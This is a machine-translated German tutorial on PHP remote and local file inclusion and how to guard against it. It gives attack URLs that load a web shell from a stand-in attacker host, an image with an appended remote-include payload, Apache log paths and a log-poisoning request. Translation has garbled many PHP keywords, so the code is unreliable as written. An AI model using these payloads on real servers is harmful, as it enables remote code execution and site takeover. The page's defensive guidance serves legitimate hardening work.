This page has been robot translated, sorry for typos if any. Original content here.

PHP-Include und Möglichkeiten zum Schutz



  • Global Includ
  • Schutz gegen globale Einbeziehungen
  • Lokale Einbeziehung
  • Apache-Protokolle
  • Schutz vor Einheimischen


  • Einleitung

    Global Includ

    Die gefährlichste der Schwachstellen des Web, aber leider oder zum Glück ist in unserer Zeit sehr selten. Für den Angriff ist es notwendig, dass die Funktion allow_url_include aktiviert ist, dh "Ein"
    Die Sicherheitsanfälligkeit ermöglicht es einem Angreifer, beliebigen PHP-Code auf dem Server auszuführen.
    In PHP gibt es vier Funktionen, um Dateien in ein PHP-Skript einzubinden:

    * include ();
    * include_once ();
    * require ();
    require_once ().

    Die include () -Funktion enthält den Inhalt der Datei im Skript. Betrachten Sie ein Beispiel für einen "doppelten" gefährdeten Code:
      <? php
     
      if ( $ _GET [ 'page' ]. '.php' )
     
      {
     
      include ( $ _GET [ 'page' ]. '.php' );
     
      }
     
      sonst
     
      {
     
      include ( $ file . '.php' );
     
      }
     
      ?>
    
    
    Mit der Bedingung prüfen wir, ob das Element des Arrays $ _GET ['page'] über URL an den Server übergeben wird. Dann rufen wir die include () Funktion auf. Aufgrund der Tatsache, dass der Wert des Arrays $ _GET ['page'] nicht auf Existenz geprüft wird, kann der Angreifer einen Angriff mit der Funktion file_exists () durchführen:

    http://site.ru/index.php?page=http://hack.ru/shell Ansonsten enthalten wir include ($ file. '. php'); Hier ist die Situation gleich, nur den Code zu schreiben ist etwas anders. Die Variable $ Datei ist nicht
    wurde frühzeitig ermittelt und der Angreifer kann Remote-Php-Code ausführen:
    http://site.ru/index.php?file=http://hack.ru/shell Die Funktion include_once () ist praktisch identisch mit include () , mit einer Ausnahme: Bevor Sie die Datei in das Programm aufnehmen, prüft es ob es früher enthalten war. Wenn die Datei bereits enthalten ist, wird der Aufruf von include_once () ignoriert. Wenn dies nicht der Fall ist, ist die Datei standardmäßig enthalten.

    <?php
    include_once( $file . '.gif' ); ?>
    <?php
    include_once( $file . '.gif' ); ?>
    In diesem Beispiel wird die Erweiterung ".gif" automatisch der hochgeladenen Datei zugewiesen.
    Sie können die Erweiterung '.gif' auf zwei Arten loswerden:
    1) Wenn magic_quotes_gpc = Off ist, kannst du "poison zero" -% 00 benutzen, um die Erweiterung zu schneiden
    http://site.ru/index.php?file=http://hack.ru/shell.php%00 2) auch wenn magic_quotes_gpc = Ein
    http://site.ru/index.php?file=http://hack.ru/shell.php? Die require () - Funktion ist ähnlich zu include () , außer einer - die vom require () - Parameter definierte Datei ist unabhängig vom Speicherort von require () im Skript im Skript enthalten.
    <?php
    require( $file );
    ?>
    <?php
    require( $file );
    ?>
    Angriff ist ähnlich, aber in diesem Fall wird die Erweiterung nicht zugeordnet:
    http://site.ru/index.php?page=http://hack.ru/shell.php Die Funktion require_once () lädt die Datei nur einmal in das Skript.
    <?php
    require_once( $file . '.php' );
    ?>
    <?php
    require_once( $file . '.php' );
    ?>
    Angriff ist ähnlich ...

    Betrachten Sie jetzt eine andere Version von Includa. Diesmal ist es notwendig, dass b in der Datei php.ini
    Der Wert des Parameters allow_url_fopen war On , was der Standardwert ist.
    PHP-Code:
      <? php
     
      $ f = fopen ( "$ file.php" , "r" );
     
    
      während (! feof ( $ f ))
     
      {
     
      $ s = fgets ( $ f , 255 );
     
      Echo $ s ;
     
      }
     
    
      fclose ( $ f );
     
      ?>
    
    
    Aufgrund der Tatsache, dass die Variable $ file nicht zuvor definiert wurde, kann ein Angreifer einen Angriff durchführen:
    http://site.ru/index.php?file=http://hack.ru/shell Als Ergebnis erhalten wir wieder die Web-Shell.

    Das folgende Beispiel verwendet die Funktion readfile ()
    <?php
    readfile
    ( $file );
    ?>
    <?php
    readfile
    ( $file );
    ?>
    Die Funktion readfile () liest die Datei, deren Name als Parameter übergeben wird, und zeigt ihren Inhalt auf dem Bildschirm an.
    Als Ergebnis erhalten wir wieder die Web-Shell:
    http://site.ru/index.php?file=http://hack.ru/shell Betrachten Sie jetzt diese Option:

    <?php
    echo implode ( "" , file ( $file ));
    ?>
    <?php
    echo implode ( "" , file ( $file ));
    ?>
    Mit der Funktion implode () kombinieren wir die Elemente eines Arrays zu einer Zeichenfolge. Mit der Funktion file () erhalten wir den Inhalt der Datei als Array. Als Ergebnis haben wir wieder eine Web-Shell:
    http://site.ru/index.php?file=http://hack.ru/shell.php

    Schutz gegen globale Einbeziehungen

    Natürlich können Sie die Datei mit der Funktion file_exists () überprüfen und unerwünschte Zeichen mit str_replace () ausfiltern , aber ich empfehle, den Schalterfall zu verwenden :

      <? php
     
      globale $ Seite ;
     
      Schalter ( $ page )
     
      {
     
      Fall " :
     
      include ( "pages / main.php" );
     
      Pause;
     
    
      Fall 'Index' :
     
      include ( "pages / main.php" );
     
      Pause;
     
      Fall 'Seite1' :
     
      include ( "pages / folder / page1.php" );
     
      Pause;
     
      Fall 'Seite2' :
     
      include ( "pages / folder / page2.php" );
     
      Pause;
     
    
      Standard:
     
      include ( "pages / hack.php" );
     
      Pause;
     
      }
     
      ?>
    
    
    Ich empfehle auch, dass Sie die Datei php.ini bearbeiten:

    allow_url_include = Aus // Deaktiviert die Remote-Aufnahme von Dateien
    allow_url_fopen = Aus // fopen verbieten, um Links zu öffnen
    register_globals = Aus // Deaktiviert die Initialisierung von globalen Variablen
    safe_mode = Ein // safe_mode aktivieren (der Hacker hat keinen Zugriff auf / etc / passwd und es ist wie)

    Lokale Einbeziehung

    Nicht weniger gefährliche Verletzlichkeit im Internet. Ermöglicht einem Angreifer, Dateien auf dem Server einzufügen. Viele Neuankömmlinge begegnen diesem Bug der Webcodierung, weil sie nicht wissen, wie sie weiter vorgehen und welche Art zu graben. Ich werde ein allgemeines Beispiel geben:
    <?php
    include( "include/$file" );
    ?>
    <?php
    include( "include/$file" );
    ?>
    Es ist nicht möglich, global aufzurufen, da die Variable $ file nach der Option / include /
    Was kann getan werden?

    Ideal ist der Fall, wenn es sich bei der Site um ein Forum oder ein anderes Formular handelt, mit dem Sie jede Datei mit einer beliebigen Erweiterung herunterladen können.
    Die Frage stellt sich: Warum mit jeder Erweiterung? Nehmen Sie zum Beispiel eine imaginäre Seite, auf der es möglich ist, einen Avatar durch das Forum hochzuladen. Auf dem Forum gibt es ein Skript, das überprüft - ist der Benutzer wirklich das Foto hochgeladen? Öffne Farbe und speichere ein Bild zB im jpg-Format. Öffnen Sie es dann mit einem Notizblock und schreiben Sie nach dem Bildcode <? Php include ("http://hack.ru/shell.php"); ?> Am Ende haben wir so etwas wie:
    			
     JFIF `` YOU C           		 
     
    
                     $. '  ", # (7), 01444 '9 = 82 <.342yC 			  
    
      2!  22222222222222222222222222222222222222222222222 22222яА 6 6 "ЯД                    	
      μ μ μ}! 1A Qa q2Ѓ'Ў # B ± R RCp $ 3br,	
          % & '() * 456789: CDEFGHIJSTUVWXYZcdefghijstuvwxyzѓ“... † ‡ € ‰ š'" "• - ~ ™ љўЈ¤Ґ | §O © ЄІіґμ¶ · o№єVGDEZhZIYKTUFHTsChShSchbvgd ezhziykstufhtschshschyaD                       	
      μμ μ w! 1 AQ aq "2Ѓ B'Ў ± B # 3Rp brC
    
      $ 4b% bis & '() * 56789: CDEFGHIJSTUVWXYZcdefghijstuvwxyz, ѓ“... † ‡ € ‰ š'" "• - ~ ™ љўЈ¤Ґ | §O © ЄІіґμ¶ · o№єVGDEZhZIYKTUFHTsChShSchvgde zhziyktufhtschshschya?  ch (ўЂ
     (â €
     (â €
     (â €
     (â €
     (â €
     (â €
     (â €
    
     (â €
     (â €
     (â €
     (â €
     (â €
     (â €
     (â €
     (ўЂ? яЩ
     <? php include ("http://hack.ru/shell.php");  ?>
    
    Nun kann ein solches Bild in das Forum hochgeladen werden und es wird als Bild wahrgenommen
    Kehren wir zur Frage der Expansion zurück. Warum ist jemand für uns geeignet? Die Sache ist, dass die Funktion include ()
    lädt den Code aus einer Datei in die ausführbare Datei. Hier ist ein Beispiel:
    http://www.site.com/index.php?include=../forum/images/shell.jpg Infolgedessen enthält der Code in der Datei index.php <? php include ("http://hack.ru/ shell.php "); ?>

    Apache-Protokolle

    Wie Sie wissen, protokolliert apache die Dateien httpd-access.log und httpd-error.log sowie alle Anfragen
    natürlich protokolliert und in die entsprechenden Dateien geschrieben. Hier ist ihre ungefähre Position:
     /logs/error.log
     /logs/access.log
    
     / logs / error_log
     / logs / access_log
    
     / var / log / error_log 
     / var / log / access_log
     /var/log/error.log 
     /var/log/access.log
    
     / var / www / logs / error_log
     /var/www/logs/error.log
    
     / var / www / logs / access_log
     /var/www/logs/access.log
    
     / var / log / apache / error_log
     /var/log/apache/error.log
     / var / log / apache / access_log
     /var/log/apache/access.log
    
     /var/log/httpd/error.log
     /var/log/httpd/access.log
    
     / var / log / httpd / error_log
     / var / log / httpd / access_log
    
     /apache/logs/error.log
     /apache/logs/access.log
     / apache / logs / error_log
     / apache / logs / access_log
    
     / usr / local / apache / logs / error_log
     /usr/local/apache/logs/error.log
    
     / usr / local / apache / logs / access_log
     /usr/local/apache/logs/access.log
    
     / home / www / logs / error_log
     /home/www/logs/error.log
     / home / www / logs / access_log
     /home/www/logs/access.log
    
    Ich werde ein Beispiel für localhost geben, ich denke, es wird viel klarer. Mit Hilfe des Programms InetCrack schicke ich ein Paket mit diesem Inhalt:
    GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
    Host: localhost
    User-Agent: google/bot
    Keep-Alive: 300
    Connection: keep-alive
    Referer: http://127.0.0.1/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 104
    GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
    Host: localhost
    User-Agent: google/bot
    Keep-Alive: 300
    Connection: keep-alive
    Referer: http://127.0.0.1/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 104
    Der Paket-Header wird in die Apache-Protokolle geschrieben:
    Z:\usr\local\apache\logs\access.log Ich habe diese Zeile in dieser Datei geschrieben:
    127.0.0.1 - - [14/Nov/2008:15:40:43 +0200] "GET /index.php/ <?php include("http://hack.ru/shell.php"); ?> HTTP/1.1" 400 414 Ich denke, das Wesen ist klar. Es bleibt für uns, es zu spritzen:
    http://localhost/1.php?file=../../../../usr/local/apache/logs/access.log Und die Web Shell :)

    Schutz vor Einheimischen

    Hier ein kleines Beispiel dafür, wie Sie sich zuverlässig schützen können:
      <? php
     
    


    Funktion stripslashes_for_array (& $ array )
    {
    reset ( $ array );
    while (Liste ( $ key , $ val ) = each ( $ array ))
    {
    if ( is_string ( $ val )) $ array [ $ key ] = Stripeslashes ( $ val );
    elseif ( is_array ( $ val )) $ array [ $ key ] = stripslashes_for_array ( $ val );
    }
    return $ array ;
    }

    if (! get_magic_quotes_gpc ())
    {
    stripslashes_for_array ( $ _POST );
    stripslashes_for_array ( $ _GET );
    }

    if (isset ( $ _GET [ 'file' ]))) $ file = $ _GET [ 'file' ];
    sonst
    {
    wenn (isset ( $ _POST [ 'file' ]))) $ file = $ _POST [ 'file' ]; else $ file = '' ; } $ file = str_replace ( '/' , '' , $ file ); $ file = str_replace ( '.' , '' , $ file ); if (! file_exists ( "include" . '/' . $ datei . '.php' ) || $ file == 'index' ) { $ file = 'Nachrichten' ; } include ( "include" . '/' . $ file . '.php' ); ?>

    Also, was ist hier los? Jedes Element des Arrays wird von stripslashes () überprüft. Sie tötet Backslashes. Als nächstes prüfen wir, ob der Wert des Array-Elements gesetzt ist oder nicht. Wir filtern die ungültigen Zeichen (' / ', ' . ') Mit str_replace () . Wenn die Datei nicht existiert (überprüfen Sie mit der Funktion file_exists () ) - weisen Sie den Wert der Variablen $ file = 'news' zu. In anderen Fällen (wenn die Datei existiert) werden wir sie einschließen.